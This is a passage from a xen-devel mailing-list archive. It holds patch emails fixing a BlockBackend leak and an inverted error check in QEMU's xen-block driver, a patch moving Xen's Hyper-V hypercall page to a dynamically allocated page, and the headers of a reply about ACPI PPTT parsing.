	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	Kevin Wolf <kwolf@redhat.com>,
	Hanna Reitz <hreitz@redhat.com>,
	xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
	qemu-block@nongnu.org (open list:Block layer core)
Subject: [PATCH 3/4] xen-block: Fix BlockBackend leak on unplug of empty CD-ROM
Date: Fri, 17 Jul 2026 02:09:22 +0900
Message-ID: <20260716170923.2125858-4-Mitsuru.Kariya@oss.nttdata.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260716170923.2125858-1-Mitsuru.Kariya@oss.nttdata.com>
References: <20260716170923.2125858-1-Mitsuru.Kariya@oss.nttdata.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Virus-Scanned: clamav-milter 1.4.3 at oss.nttdata.com
X-Virus-Status: Clean
X-purgate-ID: tlsNG-d25034/1784221767-50321A5B-84A236A2/0/0
X-purgate-type: clean
X-purgate-size: 1341

When a Xen CD-ROM is created without a backing drive (an empty CD-ROM),
xen_cdrom_realize() allocates an anonymous BlockBackend for the empty
drive with blk_new() and attaches it to the device using
blk_attach_dev().

blk_new() returns the backend with refcnt == 1 (the creation reference
owned by the caller) and blk_attach_dev() takes an additional reference
for the device.  The creation reference was never released, so on
unplug blk_detach_dev() only drops the device's reference and the
BlockBackend is leaked.

Release the creation reference with blk_unref() right after
blk_attach_dev(), matching the idiom already used in set_drive_helper()
in hw/core/qdev-properties-system.c ("If we need to keep a reference,
blk_attach_dev() took it").

Signed-off-by: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>
---
 hw/block/xen-block.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/hw/block/xen-block.c b/hw/block/xen-block.c
index abf9df2eee..e5e14e47ee 100644
--- a/hw/block/xen-block.c
+++ b/hw/block/xen-block.c
@@ -763,6 +763,7 @@ static void xen_cdrom_realize(XenBlockDevice *blockdev, Error **errp)
 
         rc = blk_attach_dev(conf->blk, DEVICE(blockdev));
         assert(rc == 0);
+        blk_unref(conf->blk);
     }
 
     blockdev->info = VDISK_READONLY | VDISK_CDROM;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 18:23:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 18:23:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364361.1615615 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkQk2-0001zm-Ig; Thu, 16 Jul 2026 18:23:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364361.1615615; Thu, 16 Jul 2026 18:23:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkQk2-0001y9-DH; Thu, 16 Jul 2026 18:23:26 +0000
Received: by outflank-mailman (input) for mailman id 1364361;
 Thu, 16 Jul 2026 17:09:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kariyam@oss.nttdata.com>) id 1wkPaT-00017v-Fx
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:09:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkPaS-000QF3-Jn
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 19:09:28 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kariyam@oss.nttdata.com>)
 id 6a591023-e002-0a2a0a5209dd-0a2a450988a6-32
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 19:09:27 +0200
Received: from [49.212.34.109] (helo=oss.nttdata.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kariyam@oss.nttdata.com>)
 id 6a591045-be1a-0a2a45090019-31d4226db678-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 19:09:27 +0200
Received: by oss.nttdata.com (Postfix, from userid 1024)
 id 3B36E2020241; Fri, 17 Jul 2026 02:09:24 +0900 (JST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>
To: qemu-devel@nongnu.org
Cc: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	Kevin Wolf <kwolf@redhat.com>,
	Hanna Reitz <hreitz@redhat.com>,
	xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
	qemu-block@nongnu.org (open list:Block layer core)
Subject: [PATCH 2/4] xen-block: Fix inverted error check in xen_cdrom_realize()
Date: Fri, 17 Jul 2026 02:09:21 +0900
Message-ID: <20260716170923.2125858-3-Mitsuru.Kariya@oss.nttdata.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260716170923.2125858-1-Mitsuru.Kariya@oss.nttdata.com>
References: <20260716170923.2125858-1-Mitsuru.Kariya@oss.nttdata.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Virus-Scanned: clamav-milter 1.4.3 at oss.nttdata.com
X-Virus-Status: Clean
X-purgate-ID: tlsNG-bad1c0/1784221767-39AC0034-E687D95C/0/0
X-purgate-type: clean
X-purgate-size: 1445

xen_cdrom_realize() checks the return value of blk_attach_dev() with

    if (!rc) {
        error_setg_errno(errp, -rc, "failed to create drive");
        return;
    }

but blk_attach_dev() returns 0 on success and a negative errno on
failure.  The condition is inverted: a successful attach (rc == 0) is
reported as an error and fails realize, while a real failure (rc < 0)
is silently ignored.

Here blk_attach_dev() is called on a BlockBackend just created by
blk_new(), so blk->dev is NULL and its only failure path (-EBUSY)
cannot be taken.  Replace the bogus check with an assertion, matching
the other empty-drive realize paths (scsi-disk, ide, fdc, swim).

Signed-off-by: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>
---
 hw/block/xen-block.c | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/hw/block/xen-block.c b/hw/block/xen-block.c
index 474c12fe4a..abf9df2eee 100644
--- a/hw/block/xen-block.c
+++ b/hw/block/xen-block.c
@@ -762,10 +762,7 @@ static void xen_cdrom_realize(XenBlockDevice *blockdev, Error **errp)
         conf->blk = blk_new(qemu_get_aio_context(), 0, BLK_PERM_ALL);
 
         rc = blk_attach_dev(conf->blk, DEVICE(blockdev));
-        if (!rc) {
-            error_setg_errno(errp, -rc, "failed to create drive");
-            return;
-        }
+        assert(rc == 0);
     }
 
     blockdev->info = VDISK_READONLY | VDISK_CDROM;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 18:35:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 18:35:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364419.1615631 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkQvV-00048P-K3; Thu, 16 Jul 2026 18:35:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364419.1615631; Thu, 16 Jul 2026 18:35:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkQvV-00048I-GF; Thu, 16 Jul 2026 18:35:17 +0000
Received: by outflank-mailman (input) for mailman id 1364419;
 Thu, 16 Jul 2026 18:35:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ariadne@ariadne.space>) id 1wkQvT-00048B-MJ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 18:35:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkQvS-00Eyiq-Jc
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 20:35:14 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ariadne@ariadne.space>)
 id 6a592431-e002-0a2a0a5209dd-0a2a4501a7d2-40
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 20:35:14 +0200
Received: from [149.248.47.155] (helo=hermes.ariadne.space)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ariadne@ariadne.space>)
 id 6a592460-5984-0a2a45010019-95f82f9bb49c-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 20:35:14 +0200
Received: from helios (unknown [100.74.42.12])
 by hermes.ariadne.space (Postfix) with ESMTP id 20942268525;
 Thu, 16 Jul 2026 18:35:12 +0000 (UTC)
Received: from phoebe.taild41b8.ts.net (unknown [172.19.0.1])
 by helios (Postfix) with ESMTPSA id 0EEBD16002600D;
 Thu, 16 Jul 2026 18:35:12 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=dkim header.d=ariadne.space header.i="@ariadne.space" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ariadne.space;
	s=dkim; t=1784226912;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding;
	bh=p44kd+uQNsJxFjwWzzLjF8gAa9SqkybYEa3jfRq58go=;
	b=nsdqJ4o84owQ8ZEHT74MsQjKvFqs51BGj/N0wIfO81C6PVJ/ErX/+pn5M+3/T6tgPTn7y+
	bTAdwpg55GmvsFjzSEHf6L1yXa1XeHLrwj3Zas0d1I+ldWXvD23ED4lGWScVgYhIF9I4PZ
	vCMS7uZCD/iWPUR8arCzz6oXiy+vjx4=
From: Ariadne Conill <ariadne@ariadne.space>
To: xen-devel@lists.xenproject.org
Cc: Ariadne Conill <ariadne@ariadne.space>,
	Paul Durrant <paul@xen.org>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v4] x86/hyperv: use dynamically allocated page for hypercalls
Date: Thu, 16 Jul 2026 11:35:02 -0700
Message-ID: <20260716183502.21075-1-ariadne@ariadne.space>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784226914-1D47D757-39B742B3/0/0
X-purgate-type: clean
X-purgate-size: 3327

Previously, the Hyper-V guest code placed the hypercall page at a
fixed, hardcoded location: the top-most MFN of the guest physical
address space (HV_HCALL_MFN). To make this work, an e820_fixup hook
reserved that range as E820_RESERVED so nothing else would claim it.

This assumes the top-most physical frame is actually backed by RAM (or
at least mapped to something), which is not guaranteed. On Azure
compute guests it is not: the top-most MFN is not physically mapped to
anything. When we program HV_X64_MSR_HYPERCALL to point at that frame
and subsequently execute through the hypercall page via the fixmap, the
access faults and Xen panics during early boot.

Instead of guessing at a physical address, allocate a real xenheap page
and use its MFN for the hypercall page. This frame is always backed and
mapped, so the fault no longer occurs. The e820_fixup hook and the
HV_HCALL_MFN definition are no longer needed and are removed.

Signed-off-by: Ariadne Conill <ariadne@ariadne.space>
---
 xen/arch/x86/guest/hyperv/hyperv.c      | 19 +++++++++----------
 xen/arch/x86/include/asm/guest/hyperv.h |  3 ---
 2 files changed, 9 insertions(+), 13 deletions(-)

diff --git a/xen/arch/x86/guest/hyperv/hyperv.c b/xen/arch/x86/guest/hyperv/hyperv.c
index 90757e0793..d98d02fb80 100644
--- a/xen/arch/x86/guest/hyperv/hyperv.c
+++ b/xen/arch/x86/guest/hyperv/hyperv.c
@@ -99,10 +99,18 @@ static void __init setup_hypercall_page(void)
     rdmsrl(HV_X64_MSR_HYPERCALL, hypercall_msr.as_uint64);
     if ( !hypercall_msr.enable )
     {
-        mfn = HV_HCALL_MFN;
+        void *hcall_page = alloc_xenheap_page();
+
+        if ( !hcall_page )
+            panic("Hyper-V: Failed to allocate hypercall trampoline page\n");
+
+        mfn = virt_to_mfn(hcall_page);
         hypercall_msr.enable = 1;
         hypercall_msr.guest_physical_address = mfn;
         wrmsrl(HV_X64_MSR_HYPERCALL, hypercall_msr.as_uint64);
+
+        dprintk(XENLOG_INFO,
+                "Hyper-V: Allocated hypercall page at MFN %lx\n", mfn);
     }
     else
         mfn = hypercall_msr.guest_physical_address;
@@ -188,14 +196,6 @@ static int cf_check ap_setup(void)
     return setup_vp_assist();
 }
 
-static void __init cf_check e820_fixup(void)
-{
-    uint64_t s = HV_HCALL_MFN << PAGE_SHIFT;
-
-    if ( !e820_add_range(s, s + PAGE_SIZE, E820_RESERVED) )
-        panic("Unable to reserve Hyper-V hypercall range\n");
-}
-
 static int cf_check flush_tlb(
     const cpumask_t *mask, const void *va, unsigned int flags)
 {
@@ -212,7 +212,6 @@ static const struct hypervisor_ops __initconst_cf_clobber ops = {
     .name = "Hyper-V",
     .setup = setup,
     .ap_setup = ap_setup,
-    .e820_fixup = e820_fixup,
     .flush_tlb = flush_tlb,
 };
 
diff --git a/xen/arch/x86/include/asm/guest/hyperv.h b/xen/arch/x86/include/asm/guest/hyperv.h
index dabc62727b..5792e77104 100644
--- a/xen/arch/x86/include/asm/guest/hyperv.h
+++ b/xen/arch/x86/include/asm/guest/hyperv.h
@@ -10,9 +10,6 @@
 
 #include <xen/types.h>
 
-/* Use top-most MFN for hypercall page */
-#define HV_HCALL_MFN   (((1ULL << paddr_bits) - 1) >> HV_HYP_PAGE_SHIFT)
-
 /*
  * The specification says: "The partition reference time is computed
  * by the following formula:
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 00:35:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 00:35:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364570.1615639 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkWYE-0005hL-3v; Fri, 17 Jul 2026 00:35:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364570.1615639; Fri, 17 Jul 2026 00:35:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkWYD-0005hD-V5; Fri, 17 Jul 2026 00:35:37 +0000
Received: by outflank-mailman (input) for mailman id 1364570;
 Fri, 17 Jul 2026 00:35:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wkWYB-0005h7-Eu
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 00:35:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkWY9-000bdc-Um
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 02:35:33 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a597897-e002-0a2a0a5209dd-0a2a4502e11a-44
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 02:35:33 +0200
Received: from [52.101.125.130]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5978d2-6ca4-0a2a45020019-34657d823a63-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 02:35:33 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY7P286MB7155.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:321::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Fri, 17 Jul
 2026 00:35:28 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 00:35:28 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=q0hk9BrjaAkaQC0rgoFxaGYJEclKJb7LUIUI2Y/FksRFEGdvaNLAa9ieUMXvSqxNY2my3cF2xggZjAKeypKXL5rlqZhl9fR5RguqzWx6eu9nnX4HMDla90975B/KXWnIzo2lRaDQCaY2Pgqw9aOmz+Y8ajn7o6fN3o+hfAGQo/Y0XxbJogwp/XqakpliICsy+5kzKtXvxR2N6yRPl06oJfefzPvMVFBMSvs6FegDkV7IBB+aB1EKKIA7flCn2B7aL8wPwv5BgWwTthuCbBs0hriGN6H8yG7XRBfUQS1tib63WEi6jaJCdz2aZgzuoNvjEgBJZPhmVUZKhpXH03RgBQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=aoWRHa4xF/l4LzpvetZuoD3h/B4XloEuOzvYZ6X+OWw=;
 b=nnYlIP1ctuYKwUwnaCIH6F565elZuCAiP6LOL82UI0q9IYTE7SLIsm/h6ufZ3OlwDntkfbpCUa53+jADh4iZjVfr/ZFJyX1A2vjdwI6Y3Q+8LcOwZ5dNl7FSXsjL6d3tNt7lPBsGgcwHep9We6ewFTwPaJ7kQYKP8bTBWUhdN+yewE41STK4jdFzYT6Xg8+naLTSvjGrEvIJsw5lTuRlwC7T26gVW8cAxDTRYfp6W7gAdaP+X0zuasSvQLcxQRZeLlWUjMvs2ngx1G6Rd4BGke1BQOzUITQXUvqNYpS+sxuhKYtLWpM+xuCnZ0W2P7GHkGvs7gb2eYHZOQLtmuBMyA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=aoWRHa4xF/l4LzpvetZuoD3h/B4XloEuOzvYZ6X+OWw=;
 b=ECFi2zEqt+H+Jb6BXTmNh6i8N91uX8sDVXtQZKTd88oPGgJ9MBXkargnKCck4wsBggEOYUuMTIUJyezsxGGsnTqmnTVYyMoo/KwyoddRf0ITd888xTldttVBV6IjeVTuZbKh6np3qSImxHBZ/dyuPz50qzSC+cD9dNklJBbCAyw=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdE336EabuJxSEHUSo4bExE1f467ZthrLggAAB8dCAAJJWgIACxhTw
Date: Fri, 17 Jul 2026 00:35:28 +0000
Message-ID:
 <OS9P286MB7222B943BCE5602656CFF74882C62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-6-taka@valinux.co.jp>
 <OS9P286MB7222D458C3248E908695F2DB82F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <OS9P286MB72222CC8A5C8B0E329F8A9B082F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <199ad904-79c7-4f7c-b856-44ad68fed49c@suse.com>
In-Reply-To: <199ad904-79c7-4f7c-b856-44ad68fed49c@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY7P286MB7155:EE_
x-ms-office365-filtering-correlation-id: 474c39dd-d9ed-4898-5b32-08dee39b4cdd
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|7416014|38070700021|10067099003|56012099006|4143699003|22082099003|18002099003;
x-microsoft-antispam-message-info:
 ut6ZXNe/O0T9s1gDRPuLIgf/8EzWLHntqyZjDytGJkDOiYDvX0YOgPa81CKi/Fw0j4XRXMR+4q5yPcCwHMje7BI5f4mK8xSSAsunUzeUXE2y3Sq9EqH9Nx35NhWuPIC2saXJDbjIsLMCFNXcLYVgxwDxpgcomsGNBgvcxerDctwQJ5B0fBuXGjTd7JQdub7XbKo5/WUUjePIL7NtcFIO/zOvNNsNXWjB59Fy0D/BHkDd7d8TURrqUtECLOaOhlizykwtqHSgEKmI/41myvj45wH8Pe1jmIWqZ6Z7S/WmSfSf6+IY6ON8xIPSvz22kP9BA9x6CV1v8VnhWDXMc0mJpDFGnamzcxrijSBq86Q00JUgqXD1RMAZ2H/Vgsmu8DZc7JKMywszTKtdLhqo/VoeNkrt8xRfLGJazPMEyPgWufYf/a6vv+pYvBk7o9CsuYu8raILxKJvAX9yL6g3OKCnih65djavxqSDUy+KnYo80B2dDyY7Uoro1fBxdUyRHBykb3eMC0zDGjeGttXGw5RlVST7tcn9fhqh5/vl7ItiCy6ucUmn4KPbY/wp3YbfCnBKIGKsXPNFOI+ka1f72W4yChSUgiwDQUzMTBCVAQLOLesKIrUFeoiOM6Zo/k8V2j6uLS+JQH0qsSXRwQ53Gsrqvbvx2Ev+B/r47LtrXpHoLUn1lUBL2M72P6a0rOhBABCqZMzDAX09+QSBTLxzMNVDeQ==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(7416014)(38070700021)(10067099003)(56012099006)(4143699003)(22082099003)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?M3ZGblIyZEYyMit0UEFlRTQ4YzArWjhFYllXS0d0N3A0L1dpaDFqZDBZRE9m?=
 =?utf-8?B?L1p0ZXVJek1Iem9RbUVxZFlsZW91Q0Vma2l1MFBCTnlxYUs2YjRIa0pYdFpo?=
 =?utf-8?B?VFpMblBOdEdqUlBJZ1F4N3ZMQWNwck9FcUpxZVNPMDdneFR6NTlkTDlBbUtS?=
 =?utf-8?B?UTF4ZFd5UVk5MTFKRW9jKzEyVEVlN3BZbWF6cC85SEhUN2Zzb21uTlpPSFFp?=
 =?utf-8?B?a2tLdFBOU3J1VXJJQ1U4cFkvZ2lHbm90OGVzZ1ZEdFg1T3d3Z2x3V3V0QWN3?=
 =?utf-8?B?Z2ZrSmNvT3B3NnB2OTdyZkM0bkZJcS8vbkRON3VXUVJyWUlSLzcrYTNaOEkr?=
 =?utf-8?B?SUpETlhMU0c2dWdjWmwydk9iSEtCYm8xWitWd3dZN0xHdzlheHNrQlhTU1JN?=
 =?utf-8?B?ZzExT2pZSE5teDR0eEpZbHRNZllTS3A3WG9tQU1LOGF0VVJScHRKN1RDSTh6?=
 =?utf-8?B?LzdyZ3BlTWtVNzZGZmhFYlNUTW05TStLZktIZm1kT212YkJGUFQvOUhxeUFo?=
 =?utf-8?B?MC91a3A4V215SHJmUGtETjRveFBGZk9KcnVITTIxN0t0OExGa0JEVC9vSzhu?=
 =?utf-8?B?aFNId3pxQmREa1lyNDRyMU11eU5LQ0ZUUTZ3TkZDckNPbnFPQ2RsSDJCQkN0?=
 =?utf-8?B?d3JqeFdWMkp1MEJtR0ZiRHYxdmwrakJ6RWtzWlFuUlRid0drYW95RTZGdWlC?=
 =?utf-8?B?VFVmTEpKMi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VFVYeWdjcG5LTDBPNjZCU2xRd3ZnaFRn?=
 =?utf-8?B?aE16N0JxYmdUcGxoamdSalhHL1dXZFZwTTJTY3BPdlgzVVVtUVhXaGJUQ2VL?=
 =?utf-8?B?WUxyNlVIeGJLOUNrcnpTTERZT3JQQWV4YndRN1JOQ1g0Vk9CYVIzMjFWblR4?=
 =?utf-8?B?b2lLKzFBZVcvUE1ZZjZZQkdDZFYvektqSEcyblB5ODdEZnpibEpzVW1SbTBY?=
 =?utf-8?B?djBQUXJ6alBqa2lkTkJYZXRvRGVndjZNZmRWdjZ3Vy9mZU9iRHpBekdyVVNh?=
 =?utf-8?B?ekpXcytYZkJZYUkwb05rUVRxeWNmKzMvWHJjeHNkb1ZsN1dYZ1N1U0NiQUNY?=
 =?utf-8?B?ZDZXWHAxT25xUXk0aVk4SGo1b0x1UkFqb2xwWjBhQzJyNjhnUThNYW0yajVj?=
 =?utf-8?B?Unl0SFFMRGtXWFI0RUhPZGM2SzhZamFjUlVVaVE3NGl5Y1FBK1k5U1Q4SENV?=
 =?utf-8?B?bkFENEEyNFJ3bWFUTmM4dkZQYmhUQzFOM0NGMFBaRnZXa3E3dGJBTW9VOWt4?=
 =?utf-8?B?NktOMTlqT0s2N01rZ0MwV3JVYnlPbSs3MXhkYlBselBGc0J5OHM2WVNDQ1NU?=
 =?utf-8?B?U2F4a0tBWXNFcy8wcHUwNzh6VTZUeWVzTjNOMWprV1U0WVJVZkFrNDU5Z3Q2?=
 =?utf-8?B?ei9OUXJMTDJHbnBpSTdVUFQ4S2wrVE5sbVJQMzRTdDJDeXpkdjlCM1U0bjA4?=
 =?utf-8?Q?CzA/6OZD2l8hPewXIw?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
